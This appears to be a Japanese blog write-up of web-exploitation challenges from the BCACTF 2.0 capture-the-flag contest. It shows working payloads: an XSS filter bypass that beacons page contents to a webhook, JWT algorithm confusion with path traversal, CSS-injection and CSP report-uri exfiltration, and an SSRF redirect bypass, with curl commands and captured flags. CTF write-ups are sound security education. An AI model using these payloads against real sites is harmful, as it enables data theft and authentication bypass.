st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

BCACTF 2.0 writeup

6/11 - 6/14という日程で開催された。zer0ptsで参加して3位。

[webex 200] Regular Website (87 solves)

Webexと聞くとCiscoを思い出してしまうけど、こちらのwebexはweb exploitationの略。XSS botのコードはこんな感じ:

    const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
    const page = await (await browser).newPage();
    await page.setJavaScriptEnabled(true);
    try {
        await page.setContent(`
        <!DOCTYPE html>
        <html>
            <head>
                <meta charset="utf-8">
                <title>Comment</title>
            </head>
            <body>
                <p>Welcome to the Regular Website admin panel.</p>
                <h2>Site Stats</h2>
                <p><strong>Comments:</strong> ???</p>
                <p><strong>Flag:</strong> ${flag}</p>
                <h2>Latest Comment</h2>
                ${sanitized}
            </body>
        </html>
        `, {timeout: 3000, waitUntil: "networkidle2"});
    } catch (e) {
        console.error(e);
        ctx.status = 500;
        ctx.body = "error viewing comment";
        await page.close();
        return;
    }
    ctx.body = `The author of this site has ${verbs[Math.floor(Math.random() * verbs.length)]} your comment.`;
    await page.close();

const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!"); ですべてのHTMLタグが削除されてしまうように思えるが、> で閉じなければ回避できる。<img src=x onerror="navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)" でフラグが得られる。

[webex 300] L10N Poll (46 solves)

JWT + Path Traversal問。署名の検証に使用するアルゴリズムはチェックされていないから、ヘッダの algRS256 から HS256 に変えてやるとRS256の公開鍵がHS256の秘密鍵として使われてしまう。公開鍵は以下の手順で得られる。

$ curl -i http://web.bcactf.com:49159/localization-language -H "Content-Type: application/json" -d '{"language":"key"}'
HTTP/1.1 302 Found
Set-Cookie: lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzU2NTIyOH0.CB59-6L-El9vzpP7EOSGEmi5d7b2QOM74hGNHoTNis9ewlbqHIR_Nj1ZOwXnJVwaRgZpdHGV2DcCCcOC9Uaa7eTIL65Bcpb92ykEQMKqSNHA6_qaS48he6WmmFNWflIV1Uc53JpVHFwzZ-o8Ck1oyU2CGGTaAzGdRXaZlsBjMts; path=/; httponly
Location: /
Content-Type: text/html; charset=utf-8
Content-Length: 33
Date: Sun, 13 Jun 2021 06:20:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Redirecting to <a href="/">/</a>.
$ curl http://web.bcactf.com:49159/localisation-file -b "lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzU2NTIyOH0.CB59-6L-El9vzpP7EOSGEmi5d7b2QOM74hGNHoTNis9ewlbqHIR_Nj1ZOwXnJVwaRgZpdHGV2DcCCcOC9Uaa7eTIL65Bcpb92ykEQMKqSNHA6_qaS48he6WmmFNWflIV1Uc53JpVHFwzZ-o8Ck1oyU2CGGTaAzGdRXaZlsBjMts"
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCRaHtUpvSkcf2KCwXTiX48Tjxf
bUVFn7YimqGPQbwTnE0WfR5SxLK/DH0os9jCCeb7pJ08AbHFBzQNUfbg47xI3aJh
PMdjL/w3iqfc56C7lt59u4TeOYc7kguph/GTYDPDZkgtbkFJmbkbg9MvV723U1PW
M7N2P4b2Xf3p7ZtaewIDAQAB
-----END PUBLIC KEY-----

{"language": "flag.txt","iat": 1623565107} というデータをJSON Web Tokens - jwt.ioで署名してCookieにセットするとフラグが得られる。

$ curl http://web.bcactf.com:49159/localisation-file -b "lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsYW5ndWFnZSI6ImZsYWcudHh0IiwiaWF0IjoxNjIzNTY1MTA3fQ.UY-gbngKIaPZgCVsmCUYfkQVcU365AMICv3WvOwsnec"
bcactf{je_suis_desole_jai_utilise_google_translate_beaucoup_dfW78ertjk}

JWT周りで便利な記事やツール:

[webex 400] Stylish (28 solves)

CSS Injection。読み出したいテキストは input 要素の属性値などではないが、[0-9A-F] と使われる文字種は決まっているし、どの文字も一度しか出現しないので @font-faceunicode-range を使う手法で読み出せる。

// ペイロード作るやつ
var payload = '';
for (const c of '0123456789ABCDEF') {
  payload += `@font-face{font-family:a;src:url(http://...?${c});unicode-range:U+00${c.charCodeAt(0).toString(16)}}`
}
payload += `
.d{font-family:a;}
`;

var bg = document.querySelector('#bg')
var bgs = "#ffffff;}" + payload + "*{";
bg.type = 'text';
bg.value = bgs;

CSS Injection周りで便利な記事やツール:

[webex 450] Completely Secure Publishing (24 solves)

問題名の通りContent Security Policy問。report-uri というディレクティブを使って、こんな感じでユーザが投稿する記事ごとにCSP違反の情報を収集していた:

            res.set("Content-Security-Policy", `child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src 'none'; img-src 'none'; manifest-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; script-src 'report-sample'; style-src 'report-sample'; worker-src 'none'; report-uri /report-csp-violation?id=${req.params.id}`);
app.post("/report-csp-violation", (req, res) => {
    if (!req.query || typeof req.query.id !== "string") return res.status(400).send("id must be a string");
    if (typeof req.body !== "object" || typeof req.body["csp-report"] !== "object") return res.status(400).send("not a csp report");
    db.update({_id: req.query.id}, {$inc: {cspViolations: 1, cspChars: req.body["csp-report"]["script-sample"]?.length || 0}}, {}, (error, count, _) => {
        if (error) {
            console.error(error);
            res.sendStatus(500);
        } else if (count > 0) {
            res.sendStatus(200);
        } else {
            res.sendStatus(404);
        }
    });
});

report-uri /report-csp-violation?id=${req.params.id} からわかるようにHTTP Header Injectionができる。このIDにNoSQL Injectionで nekoneko http:\\example.com みたいな文字列を仕込んでやると、CSP違反があれば nekoneko だけでなく http://example.com にもその内容が報告されるようになる。

CSPはユーザが投稿した記事を閲覧できるページで有効化されており、adminがアクセスした場合にはHTML Injectionが可能な箇所以降にフラグが出力されるので、<style> を仕込んでやればフラグを style 要素のコンテンツに含めさせることができる。インラインのCSSstyle-src 'report-sample' に違反しているから、フラグは http://example.com に送信される。

$ curl 'http://webp.bcactf.com:49154/publish' -H 'Content-Type: application/json' --data-raw '{"title":"abc","content":"<style>","_id":"nekoneko http:\u005c\u005cexample.com"}'
$ curl 'http://webp.bcactf.com:49154/visit' -H 'Content-Type: application/json' --data-raw '{"id":"nekoneko http:\u005c\u005cexample.com"}'
$ sudo ncat -lvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 192.155.88.173.
Ncat: Connection from 192.155.88.173:35966.
POST / HTTP/1.1
Host: example.com
Connection: keep-alive
Content-Length: 794
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4469.0 Safari/537.36
Content-Type: application/csp-report
Accept: */*
Origin: http://localhost:1337
Referer: http://localhost:1337/
Accept-Encoding: gzip, deflate

{"csp-report":{"document-uri":"http://localhost:1337/page/nekoneko%20http%3A%5C%5Cexample.com","referrer":"","violated-directive":"style-src-elem","effective-directive":"style-src-elem","original-policy":"child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src 'none'; img-src 'none'; manifest-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; script-src 'report-sample'; style-src 'report-sample'; worker-src 'none'; report-uri /report-csp-violation?id=nekoneko http:\\\\example.com","disposition":"enforce","blocked-uri":"inline","line-number":1,"source-file":"http://localhost:1337/page/nekoneko%20http%3A%5C%5Cexample.com","status-code":200,"script-sample":"\u003Cp\u003EPrize: bcactf{csp_g0_brr_g84en9}\u003C/p\u003E\u003C"}}

[webex 450] Gerald Catalog (7 solves)

SSRF + プッシュ通知問。ソースコードがちょっと複雑なためか、解法は簡単なはずなんだけど正答チーム数は少なかった。まずSSRFについて、adminに http://localhost:1337/gerald/(adminしか読めない記事のID) を踏ませることさえできればフラグがプッシュ通知で飛んでくるんだけど、adminがアクセスするURLは以下のようにポート番号やらホスト名やらがチェックされている。これはリダイレクトでバイパスできる。

export function validateSubscription(data: unknown): Subscription | undefined {
    if (typeof data !== "object") return;
    const subscription = data as Record<any, unknown>;
    if (typeof subscription.endpoint !== "string") return;
    if (typeof subscription.keys !== "object") return;
    const keys = subscription.keys as Record<any, unknown>;
    if (typeof keys.auth !== "string") return;
    if (typeof keys.p256dh !== "string") return;

    try {
        const url = new URL(subscription.endpoint);
        if (url.port !== "80" && url.port !== "443" && url.port !== "") return;
        if (bannedHosts.includes(url.hostname)) return;
        if (url.host.includes(":")) return;
        if (url.host.includes("bcactf.com")) return;
        if (url.host.includes("192.168.")) return;
        if (url.hostname.startsWith("127.")) return;
        if (url.protocol !== "http:" && url.protocol !== "https:") return;
    } catch (e) {
        return;
    }

    return {endpoint: subscription.endpoint, keys: {auth: keys.auth, p256dh: keys.p256dh}};
}

fb062fed-59d8-404f-a0e7-a89cac65c847 というadminしか読めない記事、ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce という誰でも読める記事があるとして、以下の手順でフラグがプッシュ通知で飛んでくる。sw.js に適当にブレークポイントを置いておけばその内容を読めるはず。

$ curl 'https://web.bcactf.com:49163/gerald/ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce/subscription' \
  -X 'PUT' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: lion-token=…' \
  --data-raw '{"endpoint":"http://(localhost/gerald/fb062fed-59d8-404f-a0e7-a89cac65c847にリダイレクトさせるページのURL)","expirationTime":null,"keys":{"p256dh":"...","auth":"..."}}' \
  --insecure
$ curl 'https://web.bcactf.com:49163/gerald/ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce' --insecure

f:id:st98:20210617035105p:plain